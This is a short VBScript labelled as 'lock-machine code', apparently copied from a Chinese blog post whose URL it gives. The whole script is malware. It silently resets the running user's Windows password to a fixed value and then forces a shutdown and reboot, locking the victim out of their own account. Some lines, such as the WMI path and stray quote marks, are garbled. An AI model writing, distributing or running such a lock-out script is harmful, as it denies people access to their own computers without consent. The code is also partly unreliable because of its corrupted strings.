锁机代码.vbs

Const strPassword = "doubi"'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj

set gj=createobject("wscript.shell")

gj.run"shutdown -f -t"'

Set objWMI = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\. ootcimv2")
objWMI.Security_.ImpersonationLevel=3
objWMI.Security_.Privileges.Add 18
Set colOS=objWMI.InstancesOf ("Win32_OperatingSystem where Primary=true")
For Each clsOS in colOS
clsOS.Reboot()
Next

原文地址:https://www.cnblogs.com/WYlover/p/10729132.html